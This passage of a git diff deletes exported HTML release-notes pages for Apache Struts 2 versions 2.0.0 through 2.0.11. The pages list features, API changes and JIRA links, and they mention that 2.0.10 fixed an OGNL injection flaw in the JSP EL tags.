-<h3 id="ReleaseNotes2.0.0-Detail">Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?version=21510&amp;styleName=Text&amp;projectId=10030&amp;Create=Create">Release Notes (to date)</a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.0-Pendingandopenissues">Pending and open issues</h3>
-
-<div class="aui-message warning jim-inline-block">
-    <span class="aui-icon icon-warning"></span>JIRA Issues Macro: Unable to locate JIRA server for this macro. It may be due to Application Link configuration.
-</div>
-
-
-<h3 id="ReleaseNotes2.0.0-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-201.html b/content/docs/release-notes-201.html
deleted file mode 100644
index f38ad4b..0000000
--- a/content/docs/release-notes-201.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-201.html">Release Notes 2.0.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26392">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26392">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26392">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26392">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26392">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26392">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>For prior notes in this release series, see <a shape="rect" href="release-notes-200.html">Release Notes 2.0.0</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.1-Backwardcompatibilityissueswithpriordevelopmentrelease">Backward compatibility issues with prior development release </h2>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Remove <code>&lt;include file="struts-default.xml"/&gt;</code> from <code>struts.xml</code></p>
-<ul><li>The <code>struts-default.xml</code> is now automatically included with all configuration blocks.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.1-NewFeaturesandExtensions">New Features and Extensions</h2>
-
-<ul><li>Struts 1 Integration classes.</li><li><a shape="rect" href="plugins.html">Plugins</a> &#8211; These are true plugins, not a "listener" class as provided by Struts 1.</li><li>Showcase ViewSources - Click the View Source link in the ShowCase application to see how it's done!</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.1-KeyChanges">Key Changes</h2>
-
-<ul><li>Extras is removed and various <a shape="rect" href="plugins.html">Plugins</a> are added.
-	<ul><li>To use features like JSF or JasperReports, include the appropriate plugin JAR and any supporting JARs to the application's class path.</li></ul>
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.1-Detail">Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?version=21741&amp;styleName=Html&amp;projectId=10030&amp;Create=Create">Release Notes 2.0.1 (to date)</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?version=21510&amp;styleName=Text&amp;projectId=10030&amp;Create=Create">Release Notes 2.0.0 </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.1-Pendingandopenissues">Pending and open issues</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10681">Struts 2.0.1 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-2010.html b/content/docs/release-notes-2010.html
deleted file mode 100644
index 572e426..0000000
--- a/content/docs/release-notes-2010.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.10</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-2010.html">Release Notes 2.0.10</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.10</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=63896">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=63896">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=63896">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=63896">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=63896">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=63896">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.10 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.10 corrects a serious security flaw in the Struts 2 tags where using JSP EL expressions could allow malicious OGNL expressions through. All users are encouraged to update to Struts 2.0.10. Note that existing pages that utilize JSP EL expressions with Struts  [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-209.html">Release Notes 2.0.9</a></p>
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.0.10&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;
-</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.10-SignificantFixes">Significant Fixes</h2>
-
-<ul><li>This release fixes a security flaw in the Struts 2 tags where using JSP EL expressions could allow malicious OGNL expressions through.</li><li>Portlet support has been significantly improved in this release to fix issues related to using several of the pre-bundled Struts 2 interceptors.</li><li>For other changes, see the <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21850">JIRA r [...]
-
-
-<h2 id="ReleaseNotes2.0.10-APIchanges">API changes</h2>
-
-<ul><li>The org.apache.struts2.components.Component.determineActionURL signature has changed: now it has two more parameters. Extension developers are invited to modify their code accordingly.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.10-ExperimentalFeaturesandPlugins">Experimental Features and Plugins</h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="cookie-interceptor.html">Cookie Interceptor</a>: Inject cookie with a certain configurable name / value into action (since 2.0.7) (<a shape="rect" class="unresolved" href="#">WW-1678</a>).</li><li><a shape="rect" href="portlet-tutorial-webwo [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.10-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21850">JIRA Release Notes 2.0.10 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21832">JIRA Release Notes 2.0.9 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.j [...]
-
-
-<h3 id="ReleaseNotes2.0.10-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10832">Struts 2.0.10 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10831">Struts 2.0.10 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.10-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.10-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.10 is a milestone version in the 2.0.x series. Struts 2.0.9 is the prior GA release.</li><li>The Release Managers are James Holmes and Ted Husted.</li><li>The tag date for the release is 9 Sep 2007.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-2011.html b/content/docs/release-notes-2011.html
deleted file mode 100644
index 725b0c4..0000000
--- a/content/docs/release-notes-2011.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.11</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-2011.html">Release Notes 2.0.11</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.11</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66657">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66657">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66657">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66657">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66657">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66657">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.11 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.10 corrected a serious security flaw in the Struts 2 tags where using JSP EL expressions could allow malicious OGNL expressions through. All users are encouraged to upgrade to Struts 2.0.11. Note that existing pages that utilize JSP EL expressions with Strut [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-2010.html">Release Notes 2.0.10</a></p>
-
-<h2 id="ReleaseNotes2.0.11-APIchanges">API changes</h2>
-
-<ul><li>The org.apache.struts2.components.Component.determineActionURL signature has changed: now it has two more parameters. The prior signature is available but deprecated.  Extension developers are invited to modify their code accordingly.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.11-ExperimentalFeaturesandPlugins">Experimental Features and Plugins</h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="cookie-interceptor.html">Cookie Interceptor</a>: Inject cookie with a certain configurable name / value into action (since 2.0.7) (<a shape="rect" class="unresolved" href="#">WW-1678</a>).</li><li><a shape="rect" href="portlet-tutorial-webwo [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.11-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21860">JIRA Release Notes 2.0.11 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21850">JIRA Release Notes 2.0.10 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote. [...]
-
-
-<h3 id="ReleaseNotes2.0.11-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10832">Struts 2.0.11 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10831">Struts 2.0.11 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.11-Otherresources">Other resources</h3>
-
